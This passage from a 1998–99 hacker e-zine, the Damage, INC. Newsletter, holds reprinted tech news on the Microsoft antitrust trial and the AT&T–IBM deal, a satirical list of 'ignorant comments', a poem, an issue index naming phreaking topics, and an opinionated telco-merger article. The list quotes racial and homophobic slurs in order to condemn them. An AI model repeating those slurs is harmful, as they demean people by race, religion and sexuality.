of criminals. "Mao used to say that power comes + from the barrel of a gun. Criminals shouldn't have that power over the + rest of us." + + Recognizing the significance of illicit trafficking and its connections to + increased levels of violent crime, other countries are beginning to follow + Canada's example. They agree that the key to combating the problem is more + co-operation among the various government agencies to support law + enforcement. Through several different international fora, such as the + Organization of American States (OAS), the G8 Economic Summit and the + United Nations, initiatives are being developed to foster high levels of + co-operation to successfully investigate, detain and prosecute criminal + traffickers. Canada's experience has enabled us to play a strong role in + the development of these initiatives. + + -30- + + For more information contact: + + Canadian Institute for Legislative Action + P.O.Box 82578, 285 Taunton Rd. E. + Oshawa, ON. L1G 7E6 + Ph: (905) 571-2150 Fax: (905) 436-7721 + e-mail: teebee@sprint.ca + Home: www.cila.org + A proud member of the + World Forum on the Future of Sport Shooting Activities >> + + +------------------------------------------------------------------------------- +Microsoft Wants AOL-Netscape Merger Documents +(12/07/98, 5:29 p.m. ET) +By Mary Mosquera, TechWeb + +WASHINGTON, D.C. -- Microsoft on Monday asked the judge in its antitrust for +permission to subpoena documents from America Online, Netscape, and Sun +Microsystems related to their recently announced merger and marketing deal. + +Microsoft said it also wants to subpoena documents from the investment banks +that advised the three companies on the deal, in which AOL will acquire Netscape +and jointly market enterprise software with Sun. + +The trial was in recess Monday, but the Microsoft legal team and CEO Bill Gates +took the opportunity to bash the government's case. "The government is +trying to turn this case into a public relations spectacle because it has a weak +case," said Charles "Rick" Rule, an antitrust attorney with Covington & Burling +and legal adviser to Microsoft. "If you look at the complaint, the government +has utterly failed in proving the essential elements needed in an antitrust +case." + +AOL's $4.2 billion acquisition of Netscape and the promotional agreement with +Sun "will fundamentally change the landscape of the software industry in general +and the Internet in particular, and thus they are highly relevant to this +action," Microsoft lead attorney John Warden said in the court filing. + +The parties to the merger are all witnesses for the government in this case, +and will now work collectively against Microsoft on Internet-browsing software, +which goes to the heart of government claims. + +Now, Redmond, Wash.-based Microsoft wants to know how the merger was progressing +when witnesses from the three companies were testifying in the antitrust trial, +Warden told reporters, adding that the government's case "bears little +resemblance to the one they filed in May." + +The government and 20 states say Microsoft illegally maintains its monopoly in +the computer operating system and has tried to extend its dominance to the +browser market. + +Warden said an earlier appellate court decision supporting Microsoft's right to +integrate new features, such as its Internet Explorer browser, torpedoes the +Justice case. + +"As we approach the end of the government's case, we feel very good," +Warden said. "From our standpoint, the government may think they're proving +points in the public relations realm, but they're striking out in court, and we +haven't even called any witnesses yet." + +Also Monday, the attorney general for South Carolina, Charlie Condon, said his +state was pulling out of the antitrust suit. He cited the AOL-Netscape merger as +proof that innovation was thriving in the Internet sector. "Further government +intervention or regulation is unnecessary and, in my judgment, unwise," Condon +said. + +Public relations is an important part of Microsoft's trial because it is so +significant, said Mike Pettit, executive director of ProComp, an industry group +championing the government's case. "This trial will decide whether there will be +choice and competition as the economy evolves more to the Internet," Pettit +said. + +Subpoenaing the documents may result in additional witnesses being called to +testify, Warden said. If U.S. District Judge Thomas Penfield Jackson lets +Microsoft introduce the merger documents, "it is part and parcel of what +Microsoft has been doing all along -- putting the spotlight on other people's +conduct," said Kevin Arquit, ProComp legal adviser and former director of the +Federal Trade Commission's Bureau of Competition. + +Pettit said the trial, now in its eighth week, probably will not end until about +the end of March. The trial will recess for two weeks for the holidays starting +Dec. 17. [TW] + + +------------------------------------------------------------------------------- +Gates, Microsoft Go On Counterattack +(12/07/98, 3:26 p.m. ET) +By Darryl K. Taft, Computer Reseller News + +WASHINGTON, D.C. -- Claiming a need to "set the record straight," Microsoft CEO +Bill Gates launched a counterattack against what he called an effort by the +government to hurt the company's good name. + +Speaking at a news conference here in Washington Monday afternoon, John Warden, +Microsoft's lead trial attorney in the landmark antitrust case, said he thinks +"the government is trying this case in two separate venues." One is the +courtroom, "but the real focus is an intent to influence public opinion against +Microsoft" and particularly against Bill Gates, Warden said. + +In addition to waging its own public relations campaign, Redmond, Wash.-based +Microsoft said it has filed a motion to seek evidence related to America +Online's recently announced acquisition of Netscape and its strategic alliance +with Sun Microsystems. + +Also Monday, Charlie Condon, South Carolina's attorney general, said that +state "is withdrawing from the Microsoft antitrust action," according to a +statement from Condon's office. + +Microsoft took advantage of a break in the trial to address several issues +related to the case, claim victory thus far in the proceedings, and allow Gates +to offer a defense for his poor showing in videotaped excerpts from his pretrial +deposition. + +In fact, Gates appeared at Monday's news conference via satellite connection and +responded to only a few questions. However, his appearance and demeanor offered +a stark contrast to his appearance in the video excerpts shown in court. + +"This company cannot and will not stand idly by while competitors attack the +company's credibility," said William Neukom, Microsoft's general counsel and +senior vice president of law and corporate affairs. + +Neukom said the government "has not begun to meet the evidentiary burden" of +proving an antitrust case as defined by the statutes laid out in the Sherman +Antitrust Act. Neukom and Warden cited a favorable ruling the U.S. Court of +Appeals issued last summer as the linchpin in this case. That court ruled +Microsoft's Windows operating system and its browser amounted to a single, +integrated product, thus eliminating the government's claim that Microsoft +illegally tied its browser to its OS. + +"After the Court of Appeals opinion came down, the government tried to switch +tactics," Neukom said. + +"The case being presented in court by the government bears little resemblance to the +case filed in May," Warden said. "They realized their court case got torpedoed +by the Court of Appeals ruling earlier this year, and they feel the need to +sling as much mud as they can and [hope] some will stick." + +Warden said there has been no evidence presented in the case that Netscape has +been unable to distribute its browser. He also said Sun's Java technology has +not been harmed, but has been helped by Microsoft, which offers the best and +fastest Java virtual machine available, according to Microsoft and independent +testers. + +But some at the news conference wanted to know why, if Microsoft objects to the +use of Gates' video excerpts, the company hadn't called Gates as a witness. +Gates said testifying probably wouldn't stop the government from using his +deposition excerpts, but added that he would appear a witness without +hesitation. Microsoft has chosen to call the executives most closely +associated with the areas of focus in the case, he said. + +"The fact that the government is using videotaped excerpts rather than calling +Bill Gates as a witness is an indication of the government's strategy" to +discredit Microsoft and Gates, Warden said. + +Warden added that he believes "the deposition of Gates was designed by the +government" as a way of turning the case into a personal attack against Gates. +"What relevance does this have in an antitrust lawsuit?" Warden asked. + +"I don't blame the government from trying to do this because any lawyer with as +weak a case as the government has would be doing the same thing," Warden said. + +Gates said he was disappointed by how the government used his deposition, taken +over three days. He said the government's lead attorney, David Boies, would +"present a piece of mail to me ... I get 10,000 mails a year -- and he'd ask me +what this person meant." Gates said he could not possibly remember all the +e-mail messages he receives. + +"I answered truthfully every single question put to me," Gates said. "I stand +by everything in that deposition." + +Gates also said he might have tried to come across somewhat differently had he +known the deposition would be used in the way it has. "Boies is out to destroy +Microsoft. ... He's out to make us look bad. Would I have smiled a little bit +if I knew the deposition would be used differently? Absolutely." + +Gates received criticism for his appearance in the video excerpts, but +Charles "Rick" Rule, Microsoft's Washington, D.C.-based legal adviser, said +the role of a witness is not to help the other side in litigation. Of Gates' +performance, Rule said: "It's not so much the answers, but the questions. It's +how the questions were asked." + +On Monday, Microsoft also released a lengthy document detailing its position +and reviewing the testimony to date in its antitrust lawsuit. The document, +called "A Case Of Trial In Error -- The Microsoft Antitrust Lawsuit," can be +found on Microsoft's website. + +The trial is set to resume Tuesday morning. [TW] + + +------------------------------------------------------------------------------- +AT&T Buys IBM's Global Network For $5 Billion +(12/08/98, 11:21 a.m. ET) +By Mary Mosquera, TechWeb + +AT&T is buying IBM's Global Network services unit for $5 billion in cash, +expanding the carrier's long distance phone services to include networking +services for large corporate customers, the companies said Tuesday. + +Additionally, both companies will outsource contracts to each other. IBM +will contract out a major portion of its global networking needs to AT&T for +$5 billion over five years, and in return, IBM will manage some of AT&T's +processing and data-center managment operations. That contract is worth +$4 billion over the next 10 years. + +AT&T, the largest U.S. long distance carrier, said the multifaceted deal could +add up to $2.5 billion in revenue in the first full year of operation. + +The acquisition increases AT&T's expansion into global services, data +networking, IP technology, and network outsourcing, said AT&T CEO +C. Michael Armstrong. "It will give us a sophisticated new platform for +revenue growth," he said. + +In a news briefing with reporters, Armstrong said the deal takes AT&T "from +being way back in the pack and gives us the ability to serve global customers, +to compete where we couldn't before." He said, however, there could be more +acquisitions or alliances. "This doesn't give us the presence every place we +want to be or the last mile," Armstrong said, referring to local phone service. +He cited AT&T's merger with cable giant Tele-Communications Inc. (TCI), +including the high-speed Internet cable company @Home. "We still are not as big +as we want to be," he said. + +The deal with IBM is a smart move, said Scott Cleland, telecom analyst with +Legg Mason Precursor Group, in Washington, D.C. "It shores up AT&T's +international strategy, which had some gaps compared with the MCI-WorldCom +strategy," he said. + +IBM's Global Network encompasses more than 850 cities in 59 countries and offers +business services, including native-language support personnel. It will +also support the 100-city, IP-based network created by the AT&T and British +Telecommunications joint venture announced in July. + +About 2,000 AT&T managers will be offerred positions with IBM, while about 5,000 +employees from IBM, the world's largest computer maker, will join the phone +carrier when the sale is completed. Federal regulators will review the +acquisition, but the two companies said they expect the deal to close in +mid-1999. AT&T is already under merger review for its proposed acquisition of +cable giant TCI. That deal, announced in June, is worth $68 billion in stock. + +In late-afternoon trading, AT&T [T] was up 2 3/16 to 66 15/16 and IBM [IBM] was +up 7/16 to 167 5/8 on the New York Stock Exchange. [TW] +------------------------------------------------------------------------------- + + +THC PHREAK'S TOP TEN LIST - {TOP TEN} +Ignorant comments: + + 1. "I probably know more than you do about..." + + - Using the word probably means they're guessing. Another word + that could be substituted in most instances is "assume". + They assume they know more about something, but most likely + they don't. It's not only ignorant, but it's also a very + childish comment to make to someone. Pre-schoolers often say + similar things to each other. You will impress no one by + stating that you "probably know more" than someone else. How + can you know the extent of what someone else knows about any + given topic? You can't. So, it's ignorant to think you can. + + 2. "I just assumed that you are/were/would/did/knew..." + + - The word "assumed" is a dead giveaway. The very use of that + word in the sentence should tell you that they don't know + anything. Therefore, they're ignorant. But, they want to + use it as an excuse to cover up their own mistake. People + that frequently say they "just assumed" are the true ignorant + of the world. They don't want to know. Instead, they just + want to continue making their own assumptions. + + 3. "I know all about you." + + - To state that you know all about another person is ignorant + and naive. It's also a huge assumption, even if the other + individual is a friend that you've known for a long time. + You can't possibly know all about anyone else, so to make a + claim like that is pure ignorance. Usually cops make statements + like "I know all about you and people like you." All it proves + is that they stereotype people and group them together based + on first impressions, what they've been taught, petty biases + and split-second observations that aren't at all objective. + They tend to form opinions of people very quickly, but that + definitely doesn't mean that they know all about anyone. + + 4. "You're stupid because you don't agree with me (or don't have the + same opinion as I do/everyone else does.)" + + - Obviously, it's ignorant to think that everyone will agree + with you. We don't all share the same opinions and shouldn't + automatically agree with others. So, saying that someone + should do that or else they're stupid, makes absolutely no + sense and only shows your own stupidity. Attitudes like that + are also very arrogant and the people that have them generally + don't have many friends. :) + + 5. "I'm more intelligent than you are because I graduated from + college/university with a degree in..." + + - Saying you're more intelligent is one thing, but actually + being intelligent is another. It's ignorant to assume that + because you have a formal education that you're any more + intelligent than anyone else. Also, nobody likes listening + to people that go around boasting about how intelligent they + are, or what degrees they have. + + 6. "I hate you because..." + + - Hating without reason is extremely ignorant. People that + are always saying they hate others is really lame. Really, + how many hate mongers can be called intelligent or enlightened? + If you legitimately hate someone, have a valid reason for it. + Base your hatred on something real and tangible instead of + being petty and superficial. + + 7. "You're wrong and I'm right. I'm always right. I'm better than + you. I know everything. I rule!" + + - Nobody likes ignorant people that go around saying that they're + always right and claim to know everything. Only the truely + ignorant do that. Having the attitude that you're better than + everyone else won't get you anywhere and a lot of people will + dislike/hate you for constantly saying shit like that. If + you want to fool yourself into thinking that you're always right, + that's one thing. You can believe whatever you want, but don't + try to push that egotistical, false, ignorant shit on others + around you. If you do, then don't wonder why nobody talks to you. + + 8. "You suck/Nobody likes you/You're lame/You're gay/You're a fag." + + - Not only are comments such as those ignorant and immature, but + they make you look foolish. Especially when you don't know + the person at all. Insulting someone else to make yourself + feel better just shows that you're insecure and most likely + fear not being liked. Or, you are in reality what you are + labelling the other person as being. + + 9. "Hey, I know you're there." + + - Making a statement like that while paging someone, leaving a + message on an answering machine, knocking on a door or + whatever when you don't know if they're actually there just + shows how ignorant you are. Assuming they're around without + knowing won't make them answer even if they actually are there. + And if they aren't, then your wrong assumption will either + annoy them or make them laugh at you. + + 10. "Fuck off lamer/pussy/asshole/jew/nigger/wetback/pakkie/spic/..." + + - Stupid insults prove nothing, other than the ignorance of + the person that's making them. But using racist remarks + is a sure sign that you are ignorant and lack intelligence. + You can't be a racist and enlightened. Insulting someone + based on their race or religion without first hearing what + they have to say shows prejudice as well. And calling someone + something that they clearly aren't won't strengthen your + argument any. In fact, it usually does the exact opposite. + Using racial slurs and thinking they're kewl is really ignorant + and reveals how lame you are. + +Written by THC Phreak ú Damage, INC. (C)opyright 1998. + + +THOUGHTS, POEMS AND CREATIVE WRITING - {WRITING} +An ode to Damage, INC. + +Damage Incorporated. +Masters of destruction. + +Exposing government conspiracies, lies and corruption. +Masters of deception. + +Speaking the truth and fighting Big Brother. +Battling against ignorance and arrogance like no other. + +Opening minds for a different view. +Just trying to show the world things from a perspective that's new. + +Living and adapting to the unknown. +Roaming free, moving forward and standing apart from the rest. Alone. + +Shifting gears, discovering and exploring new territories. +Wild and strong without looking back on everything we've seen. + +The quest is perpetual and it continues with volume two. +Seeking and sharing knowledge is something that we must always do. + +It's not about popularity or profit. And it's not about fame. +Yes, we're armed and dangerous. But that's not our only claim. + +We are just lighting the fuel that's already on the fire. +The torch is burning bright and the truth is all that we really desire. + +Damage, INC. can't be bought and it can't be sold. +We do what we want and not whatever we're fucking told. + +We have the freedom to speak our minds anywhere. +And it should be damn straight that we'll do that everywhere. + +Nobody owns us and nobody owns you. +If nothing else, you should believe that to be true. + +We follow no one. We blaze our own trails and make no deals. +That's why whatever we do will always be real. + +In our sanctuary there's no govspeak, propaganda and useless chatter. +Information is the ultimate equalizer. Mind over matter. + +There are no conditions. Trust is earned and trust is gained. +With no reason to lie, no one pulling our strings, to intentionally +release false information without any motive we'd have to be insane. + +No one speaks for us. There's nobody that we're trying to impress. +Our words are our own. That's something that I want to stress. + +We're just gonna take things as far as we can go. +For and by Damage, INC. this is my ode. + +What will be accomplished through these written words cannot be known. +But I hope people learn from what they've read and been shown. + +To me though, the group represents honour, truth and it's a brotherhood. +That's regardless of how else the group is viewed, thought of, or misunderstood. + +Written by THC Phreak ú Damage, INC. (C)opyright 1998. + + +CLOSING COMMENTS - {CLOSING} +BLACKENED's Boring Closing Comments: + +Now that we've released thirteen issues and have started Volume 2, it is safe +to say that the Damage, INC. Newsletter is officially "here to stay". That is, +as long as it's worthwhile doing, we'll continue putting this zine out. +Actually, I don't know how long it'll last and don't have any predictions. At +this point in time though, there aren't any plans to quit. So, for all those +that had some questions about whether or not it'd continue to be published and +for how long, there's your answer. ;) + +Perhaps you've noticed that this issue looks different from the previous ones. +The reason is that I felt it was the perfect time to change some of the +aesthetics of the newsletter and the way that certain information is presented. +Sure, they aren't major changes. But they were necessary in order to +distinguish this issue from the rest and begin Volume 2. However, the format +is virtually the same. As is the content, what we support and the various +sections, etc. So, it's not really *that* different from the past issues. +Credit and thanks go to Greent and Waste for drawing the cool new Damage, INC. +ascii logos for us. + +Hopefully you've managed to gather an understanding of why ignorance isn't +bliss. It's slavery. And slavery, in any form, is hell. Indeed, knowledge +and enlightenment are what can be described as true states of bliss. But true, +real, total enlightenment is unachievable. At least, that's what I've recently +concluded. I don't believe that we're 'wired' to be completely enlightened +individuals. If I'm wrong and we are, then it would be amazing to meet and +converse with someone that has achieved that so elusive state. For they would +be a truely unique and special person. ;) + +As for this issue, some articles in particular won't interest everyone. Then +again, not every aspect of the Damage, INC. Newsletter will ever do that. +That's not what we're attempting to do anyways. If you only want to read +certain articles, that's fine. We don't expect everyone to have the same +interests. Just as, we don't all read the same things and it's all good. In +fact, nothing else matters. + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +Check out DAM-BELL.JPG. It's Damage, INC.'s version of Bell Canada's new +calling card. ;) We've also included M$OFT.JPG. View it, distribute it, use +it as a banner, lick it, drool over it, cry over it, admire it, love it, etc. +Oh yeah, have a happy fucking new year and Damage, INC. in '99. + +Until further notice, don't send Email to damage_inc@dope.org. Use the +damage_inc@mailcity.com or blackened@disinfo.net address instead. Thanks. + +The information that was previously included at the end of each issue is now +available in the DAMAGE.NFO file. It will be updated whenever there are any +changes with Dist. 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Newsletter. + +þ ADVISORIES - Telco Merger Madness. + ¯ Search String: {ADVISORIES} + +þ BIG BROTHER BASHING - Big Brother taps into cellular phones. + ¯ Search String: {BIG BROTHER} + +þ BLACKENED'S TIP OF THE MONTH - Exchange Scanning revisited. + ¯ Search String: {BLACKENED} + +þ CONSPIRACIES AND COVERUPS - Bob Lazar/Area S-4 Part 1: One decade later. + ¯ Search String: {COVERUPS} + +þ CROSSED WIRES - Advertisement for pOwerraGe BBS. + ¯ Search String: {WIRES} + +þ DRUGS DISCUSSION - Trippin' on LSD with psychedelic hallucinations. + ¯ Search String: {DRUGS} + +þ H/P INFORMATION AND NEWS - LAC, NOC and more ways to get CN/A info. + ¯ Search String: {H/P} + +þ INTERVIEWS AND INTERROGATIONS - An interview with Metabolis. + ¯ Search String: {INTERVIEWS} + +þ OBJECTIVE OPINIONS - Zombies and thinkers. + ¯ Search String: {OPINIONS} + +þ REPORTS FROM THE FRONT - Apple's iMac turns purple, Bell Atlantic info & more. + ¯ Search String: {REPORTS} + +þ THC PHREAK'S TOP TEN LIST - Reasons why dope is better than warez. + ¯ Search String: {TOP TEN} + +þ THOUGHTS, POEMS AND CREATIVE WRITING - Rant on the future. + ¯ Search String: {WRITING} + +þ CLOSING COMMENTS - Blackie Lawless' Revolutionary Closing Comments. + ¯ Search String: {CLOSING} + +ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ + + +< DISCLAIMER > + +All articles contained in the Damage, INC. Newsletter are for informational +purposes only. Damage, INC. is not responsible for how any of the information +presented is used. It is not intended to be a manual with instructions to be +followed. We won't be held responsible for any damages caused, illegal acts +committed etc. by our readers. If/how you use the information given is entirely +up to you. + + +< COPYRIGHT NOTICE > + +All articles and source code contained within this file are (C) Copyright by +Damage, INC. (unless stated otherwise). No part of this work can be modified, +reproduced or changed in any way without the expressed written consent of +Damage, INC. That means, electronically or otherwise, in part or in whole +this file must not be altered. It cannot be included with any other releases. +You cannot claim that you wrote it, or alter any articles and source code that +has been written and Copyrighted by us. Also, do *not* distribute any +Damage, INC. releases in "packages" with other text files or utilities. They +must only be distributed alone in their present, original form. You are +permitted to read and distribute the Damage, INC. Newsletter freely to quality +h/p boards only. + + Copyright 1999 by Damage, INC. + All Rights Reserved. +_______________________________________________________________________________ + + +INTRODUCTION: Yeah, we're still around and keepin' it real in '99. + I've got my mind on Damage, INC. and Damage, INC. on my mind. + + The Damage, INC. Newsletter and the staff involved have all + aged, grown and matured in ways that I cannot begin to describe. + With our goals firmly set, our minds expanded and our thirst + for knowledge entrenched in us, we won't be deprived or denied. + + No matter what hand fate holds for us, or no matter what this + completely random universe can throw at us, we will endure. + The odds might be stacked against us, but we'll continue going + against the grain. Of that, you can be damn sure. + + Of course, this isn't the beginning. Nor is it the end. + Nonetheless, the journey remains. There are still many topics + of importance to speak on and things to defend. + + Nothing is assured. Then again, nothing is gained if an attempt + isn't made. So, instead of overstating what we've done thus + far, we will look forward to what's ahead. There are so many + possibilities to explore -- new regions, systems and open minds + that we can potentially invade. + + Now is not a time to reflect on the past. Sure, it's the final + year of this millennium. However, just because it's 1999 doesn't + mean that we should look back on everything that's happened in + the last thousand years. There's no need to make lists, rate + the accomplishments of others, rank the famous, mark the great + achievements, etc. Obviously, that's going to be a big trend + this year and the mass media will do that to death. Therefore, + Damage, INC. isn't going to concentrate on that. Instead, we'll + think about the future and the possibilities that the next + millennium will bring. We will watch what develops, rather + than just commenting on what's been done over the past centuries. + + In my opinion, it's more productive to think about what's going + to happen rather than constantly discussing what has already + happened. So, that's my mindset. That's my outlook and part + of my philosophy as we rapidly move towards the year 2000. If + you look back for too long, you won't end up going in the right + direction and that can result in disaster. That's the only + advice that I'll venture to bestow upon you in this issue. + Hopefully it's well taken. If this Introduction doesn't properly + set the tone for what's to follow, don't complain too much as + it's actually my first attempt at writing one. But alas, I've + stood on the soapbox long enough to make a once captivated + audience fall asleep. There's no more anticipation, so go + ahead and dive into the issue full force. + + +ADVISORIES - {ADVISORIES} +Telco Merger Madness. + +The main players in the large mergers discussed in this article are AT&T, TCI, +MCI, WorldCom, Bell Atlantic, GTE, SBC and Ameritech. Most people are probably +already familiar with the names of those telcos, but they may not know much +about the history of their past mergers or the details of upcoming mergers. +Therefore, in an effort to inform our readers, we've chosen to outline some +of the events that may affect or interest you. This article isn't so much +about their profits as it is about their expensive purchases and their +anti-competitive nature. With less competition in the telecommunications +markets, obviously it is the consumers that suffer. The fewer choices there +are for customers, the more power and control the telcos will once again attain. +And that is what leads to the formation of huge monopolies, which is exactly +what was supposed to be eliminated when Bell was split into smaller Regional +Bell Operating Companies (RBOCs). But the 'era of the monopoly' is back now. +It's back with a vengeance. It seems as though anything goes in the 90s and +any newly proposed mergers are permitted. They conquest and they conquer. +This is unacceptable and customers need to be informed about their intentions +and what's really happening with all of these mergers. + + +AT&T/TCI Merger: + +After approximately 7« years of informal talks and a scant 10 days of +formal negotiations, AT&T Corp. (ugly Ma Bell) and Tele-Communications Inc. +(TCI - A giant U.S. cable company) announced on June 24, 1998 that they +planned to merge. The deal is reportedly worth $48 billion, which is the +fourth "richest" transaction in history. + +Here is a brief breakdown of this proposed merger: AT&T will pay about $32 +billion for TCI's cable properties, $5.5 billion for other assets such as +its stake in the At Home Internet cable venture. AT&T will also buy +Liberty Media Group, TCI's cable programming arm, which will be headed up +separately by John Malone, current CEO of TCI. This deal will supposedly +(perhaps through imaginative accounting) put the new AT&T $11 billion in debt. + +If the merger is approved by the FCC the combined AT&T/TCI form yet another +AT&T subsidiary called AT&T Consumer Services. It will combine each +company's Internet holdings, AT&T's long-distance and wireless services, +and TCI's cable, programming and businesses. It will reportedly be +controlled by AT&T Vice Chairman and President John Zeglis. + +What AT&T would gain is direct access to a reported 33 million American +homes though the cable network infrastructure owned by TCI and its +affiliates. This would mark AT&T's return to providing direct local +service... the first time since Ma Bell had to let her fat "Baby" Bells go. +AT&T would then spend more money to research and implement a plan to convert +TCI's cable lines from the standard one-way transmission into two-way lines +that carry voice and data transmissions. + +AT&T/TCI claimed that this merger isn't about saving costs and cutting +employees. "We need every single employee we've got," said Malone during a +press conference shortly after the merger was announced. "This isn't like +two big banks getting together and deciding what percentage of the staff +they can shoot." The truth of the matter is that the combined AT&T/TCI +will dominate the cable industry as it evolves. + +AT&T shareholders definitely believe all of the corporate rhetoric they've +been fed. On February 19, 1999 AT&T shareholders approved of the merger +proposal. Later that day, TCI shareholders also passed the deal. If AT&T +is to be believed, "approximately 99 percent of the shares that were voted +approved the merger. More than 72 percent of the outstanding shares cast a +favorable vote, the highest level ever recorded for a company proposal in +AT&T's history." + +The merger has received approval from the Department of Justice and virtually +all of the required states and municipalities. The company expects to close +the merger in the first quarter (2000), following approvals (rubber stamping) +from the Federal Communications Commission, the remaining few municipalities +and the state of California. Not only with AT&T get bigger, but they'll +have influence and control over yet another industry. + + +A brief history of AT&T, NCR, Bell Labs and Lucent Technologies: + +In an attempt to shake the stigma of being viewed as a big, fat cat +company, AT&T actually split two portions of itself into "independent" +companies in late 1995. Ma Bell split-off its equipment manufacturing +(phones, switching gear, computer chips) and a great portion of Bell +Laboratories. While Bell Labs lives on, a subsidiary named Lucent Technologies +was created out of AT&T's gesture to make itself look trimmer to investors. +This deal was advertised as the greatest corporate split-up ever. Interestingly +enough though, AT&T still advertises Lucent Technologies and NCR on its web site +by listing toll free numbers for those so-called "independent" companies. Just +as, NCR's own 1-800 bulletin board still carries a great amount of information +on AT&T systems, etc. They've made no attempt whatsoever to rid themselves of +AT&T. In fact, I believe NCR still views AT&T with admiration and affection as +their big brother. The real reason for NCR being dumped by AT&T is that NCR's +computer systems weren't selling and they were no longer deemed competitive. +So, AT&T hastily decided to throw them in the trash like a broken disposable +camera that hadn't fulfilled its obligations to them or served its purpose. +Basically, NCR wasn't profitable to AT&T and therefore it had to go. + +It also rid itself of its Global Information Solutions division, formerly +and now currently known as NCR Corp. Back then NCR was a manufacturer of +computer systems (PCs). During the late 90s, NCR has changed its focus to +creating ATMs, Cash dispensing machines, Financial services machines like +cheque sorters, etc. It also still creates database software and other +"solutions" as they term them. + +AT&T claims that it felt uncomfortable supplying and enabling they publicly +claim are their competitors, the "Baby" Bells through their ownership of +Bell Labs. Conversely the RBOCs didn't want to enrich AT&T by buying their +digital switches, etc. That is their weak reasoning for dumping the highly +profitable Bell Labratories. + +They were also competing with their own customers (through NCR and Bell +Labs/Lucent Technologies), which they stated weren't very good business +practices. (AT&T doesn't like competing period... let alone competing with +their own customers). + +Despite their boasts that NCR and Bell Labs/Lucent are independent +corporations, AT&T has a lot of influence in both companies. AT&T owned +Bell Labs for many decades, and spent $7.4 billion in the hostile takeover +of NCR in 1991. First of all Richard McGinn, CEO of Bell Labs/Lucent +and Lars Nyberg, CEO of NCR were first and foremost executives in AT&T and +were bred in that culture. NCR employees are told that NCR is in no way +affiliated with AT&T. Yet, Nyberg is still there. Half of the employee +orientation documents given to temp workers have AT&T letterhead on them +still. Hell, while scanning Damage, INC. found many NCR numbers that still +contain "ATT" in their phone numbers (check out our list of scans in the +H/P INFORMATION AND NEWS section of this issue for evidence of this). NCR's +business focus might have changed, but from what we've seen their business +affiliations definitely haven't. In fact, it's very difficult to distinguish +them from each other. Lucent Technologies' television commercials show +(albeit in fine print at the bottom of the screen) that they're owned by +Bell Labs. And that admission on their part won't just go unnoticed by us. + + +MCI Worldcom Merger: + +On November 10, 1997, Worldcom, Inc. announced that it received approval to +purchase MCI Communications Corp. This merger deal was worth a reported a +$37 billion. British Telecom (BT) also agreed to this merger. This is an +important fact because BT and MCI agreed to a $17 billion merger agreement. +In return for giving up MCI, BT shareholders received $51 for each share of +MCI stock they sold to Worldcom. CNN reported that BT itself received a +$465 million termination fee from Worldcom in addition to all the alleged +$6.9 billion they wanted for their stake in MCI. + +The new company, called MCI Worldcom was born on September 14, 1998. MCI +Worldcom claims to be "a premier provider of facilities-based and fully +integrated local, long distance, international and Internet services. MCI +WorldCom's global networks, including its state-of-the-art pan-European +network and transoceanic cable systems, provide end-to-end high-capacity +connectivity to more than 35,000 buildings worldwide." MCI Worldcom is +one of the few remaining "players" in the US telecommunications market after +all of these corporate mergers wipe out small competitors through undercutting +and stonewalling by the RBOCs. Why did Worldcom buy MCI? Here are the words +of Bernard J. Ebbers, CEO of Worldcom. "The benefits of this merger are +compelling for the stockholders of both MCI and WorldCom -- powerful synergies +and ownership in the best performing communications stock over the past decade. +This merger is about growth -- value for stockholders, enhanced products and +services for customers and new opportunities for employees." Stockholders are +first and foremost on his mind. The only saving grace for Ebbers is that he +didn't claim it would increase competition. But it did boast that the merger +would provide enhanced products and services for customers. Perhaps hackers +aren't the only ones that "brag, boast and strut" as the mass media so often +claims. Evidently, many CEOs of large corporations are proficient in the art +of bragging and strutting their stuff as well. And apparently, they aren't +too shy about using the media as their instrument for bragging. They're +attention seekers. The only difference is that the mass media coddles and +embraces them with open arms, hanging on every word they speak. + +Worldcom hasn't ended with MCI when it comes to buying up companies. On January +31, 1998, through a full subsidiary, merged with CompuServe Corporation +(provider of online network services). The same day, Worldcom purchased +ANS Communications Inc. from America Online, Inc. They've also cut a deal +with America Online: MCI Worldcom offered a five year contract with AOL +under which WorldCom and its subsidiaries will provide network services to AOL +(collectively, the "AOL Transaction"). As part of the AOL Transaction, AOL +acquired CompuServe's Interactive Services Division and received a $175 million +cash payment from WorldCom. WorldCom retained the CompuServe Network Services +("CNS") division. ANS provides Internet access to AOL and AOL's subscribers in +the United States, Canada, the United Kingdom, Sweden and Japan, and also +designs, develops and operates high performance wide-area networks for +business, research, education and governmental organizations. + + +Bell Atlantic/GTE Merger: + +On July 28, 1998, Bell Atlantic Corp. announced that it is buying GTE Corp. +in a deal worth $52.8 billion, bringing together Bell Atlantic's local and +wireless phone service with GTE's local, long-distance, wireless and +Internet businesses. That's right, the biggest "Baby" Bell plans on using +GTE to reenter the long distance market, as well as using its wireless +assets to become a big player in the U.S wireless telecommunications market. +That is, they want to expand the range and consumer base of Bell Atlantic +Mobile by using GTE. This is the case in spite of being dumped in the trash +by AirTouch (read the REPORTS FROM THE FRONT section for more details). +Bell Atlantic has already proven in the past that they aren't afraid to test +the waters of the merger market, since they acquired NYNEX in a bold move. +Eliminating their competition was always one of their main goals. However, +their new goal is to move into new markets, and compete with companies that +offer long distance services, etc. + +It will be interesting to see if the FCC delays at all in giving this +merger the ol' rubber stamp. After all, being a RBOC, Bell Atlantic isn't +supposed to be able to compete in the long distance market... however GTE +is. Not only that, but GTE and BA compete with each other in the wireless +and Internet services market. BA is effectively eliminating a competitor +(and another choice for consumers) and bulking up its own network. For +Bell Atlantic's outlook and the financial implications of this merger (like +GTE's stock will go down in value, while BA's will go up!) check out the +REPORTS FROM THE FRONT section in this issue. Or, call Bell Atlantic's +Employee Newsline at 1-800-647-NEWS to keep track of the events as they unfold. + +If you a Canadian, this merger may affect you. In Canada, GTE has an +86.39% voting interest in Anglo-Canadian Telephone Co., which controls +50.7% of BC Telecom Inc. BC Telecom owns BC Tel and other communications BC +Tel and Qu‚bec-T‚l‚phone assets in that province. Anglo-Canadian also +controls Qu‚bec-T‚l‚phone. With all of these huge mergers, you never know +when your telco will become a subsidiary of a subsidiary. :( + + +BC TELECOM/TELUS Merger: + +Burnaby, BC and Edmonton, AB - BC TELECOM Inc. and TELUS Corp. announced +plans to merge and create a 